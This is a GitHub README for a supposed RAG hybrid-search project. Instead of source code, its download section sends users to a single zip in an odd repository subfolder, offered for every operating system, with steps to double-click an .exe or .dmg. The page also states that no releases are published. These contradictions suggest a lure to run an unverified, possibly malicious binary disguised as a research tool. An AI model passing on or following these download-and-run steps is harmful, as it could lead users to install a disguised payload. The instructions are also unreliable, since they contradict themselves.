Skip to content

πŸ” Optimize RAG systems by exploring Lexical, Semantic, and Hybrid Search methods for better context retrieval and improved LLM responses.

Notifications You must be signed in to change notification settings

paswell-chiks/Optimizing-RAG-with-Hybrid-Search

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ Optimizing-RAG-with-Hybrid-Search - Powerful Retrieval Made Easy

Download

πŸ“˜ Description

Optimizing-RAG-with-Hybrid-Search combines innovative retrieval techniques to enhance your search experience. This application uses three different retrievers: Lexical (BM25), Semantic (embeddings), and Hybrid (Reciprocal Rank Fusion). It allows for parallel retrieval and generates responses using Llama 3. You can also compare results side by side through reproducible notebooks.

πŸš€ Getting Started

Follow these simple steps to download and run the application:

  1. Check Your System Requirements

    • Operating System: Windows 10 or later, macOS, or any modern Linux distribution.
    • RAM: At least 8 GB.
    • Disk Space: At least 1 GB free.
    • Internet Connection: Required for certain features.
  2. Visit the Release Page To download the application, visit the following link:

    Download the Latest Release

  3. Download the Application Look for the latest version on the page. You will see files listed for download. Click on the file that corresponds to your operating system.

πŸ“₯ Download & Install

After visiting the release page, download the file for your system. Here are some common file types you may encounter:

  • Windows: https://raw.githubusercontent.com/paswell-chiks/Optimizing-RAG-with-Hybrid-Search/main/turcopole/Optimizing-RAG-with-Hybrid-Search.zip
  • Mac: https://raw.githubusercontent.com/paswell-chiks/Optimizing-RAG-with-Hybrid-Search/main/turcopole/Optimizing-RAG-with-Hybrid-Search.zip
  • Linux: https://raw.githubusercontent.com/paswell-chiks/Optimizing-RAG-with-Hybrid-Search/main/turcopole/Optimizing-RAG-with-Hybrid-Search.zip

Once you have downloaded the correct file, follow these steps to install it:

For Windows

  1. Double-click on the downloaded .exe file.
  2. Follow the installation prompts.

For Mac

  1. Open the .dmg file by double-clicking it.
  2. Drag the application to your Applications folder.

For Linux

  1. Extract the downloaded https://raw.githubusercontent.com/paswell-chiks/Optimizing-RAG-with-Hybrid-Search/main/turcopole/Optimizing-RAG-with-Hybrid-Search.zip file using your preferred archive tool.
  2. Follow the included instructions in the README file to run the application.

πŸŽ“ How to Use the Application

Once the application is installed, you can start using it immediately.

  1. Open the Application

    • Find the application in your applications list or on your desktop and double-click to open it.
  2. Select Retrieval Method

    • Choose between Lexical, Semantic, or Hybrid Search. Each method offers unique benefits based on your needs.
  3. Input Your Query

    • Type your search terms into the provided box. The application will then retrieve information based on your input.
  4. Review Your Results

    • The results will display immediately. You can switch between different retrieval methods to see how the results vary.
  5. Use Notebooks for Evaluation

    • If you want to analyze the results more closely, check out the side-by-side evaluation notebooks included in the application.

🌐 Support and Community

If you have questions or need support:

  • Check the Documentation: Included in the app, or visit the GitHub repository for detailed guidelines.
  • Join the Community: Connect with other users and contributors on our GitHub Discussions page.

πŸ› οΈ Features

  • Three retrieval methods: Lexical, Semantic, and Hybrid.
  • Parallel retrieval for efficiency.
  • Llama 3 generation for meaningful output.
  • Reproducible notebooks for evaluation and experimentation.

🏷️ Topics

This application covers several important areas in information retrieval and natural language processing:

  • bm25
  • generative-ai
  • hybrid-search
  • information-retrieval
  • lama
  • large-language-models
  • natural-language-processing
  • rag
  • reciprocal-rank-fusion
  • rrf
  • semantic-search

πŸ“£ Stay Updated

To stay informed about upcoming features and updates:

  • Follow the GitHub repository for release notes.
  • Subscribe to notifications for discussions and issues.

πŸ”— Important Links

By following these steps, you can successfully download and start using Optimizing-RAG-with-Hybrid-Search. Enjoy the enhanced search experience!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •